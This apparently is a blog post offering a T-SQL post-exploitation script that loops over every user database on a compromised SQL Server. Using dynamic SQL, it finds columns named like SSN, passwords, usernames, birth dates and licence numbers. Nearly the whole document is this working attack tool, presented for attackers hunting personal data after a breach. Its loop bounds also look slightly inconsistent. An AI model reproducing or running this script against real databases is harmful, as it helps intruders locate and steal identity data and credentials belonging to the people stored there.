Post-Exploitation PII Search Across All Databases

This is an improvement on the previous PII finder scripts. Since often times production db servers have many databases, this will iterate over ALL DATABASES at once.

 

IMPORTANT: Run select name, database_id from sys.Databases to figure out which databases you are interested in querying, and adjust the counter accordingly. Most times, there's a handful of system databases that are unlikely to be useful for finding PII, so I have excluded the first four by default:

 

declare @dbname VARCHAR(60)
declare @counter int;


declare @maxnames int;


declare @piisearch VARCHAR(500);

set @maxnames = (select count(name) from sys.databases where database_id > 4); /*exclude system tables, will vary based on database*/


set @counter = 4; /*change it here too*/

while @counter < @maxnames
begin

set @dbname = (select name from sys.databases where database_id = @counter)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%SSN%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%pw%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%asswor%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%sername%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%DOB%'';'

execute(@piisearch)

SET @piisearch = 'use '+ @dbname + ' SELECT '''+@dbname+''' as DatabaseName, c.name AS ColName, t.name AS TableName FROM sys.columns c JOIN sys.tables t ON c.object_id = t.object_id WHERE c.name LIKE ''%license%'';'

execute(@piisearch)

set @counter = @counter + 1

/*print @dbname*/

End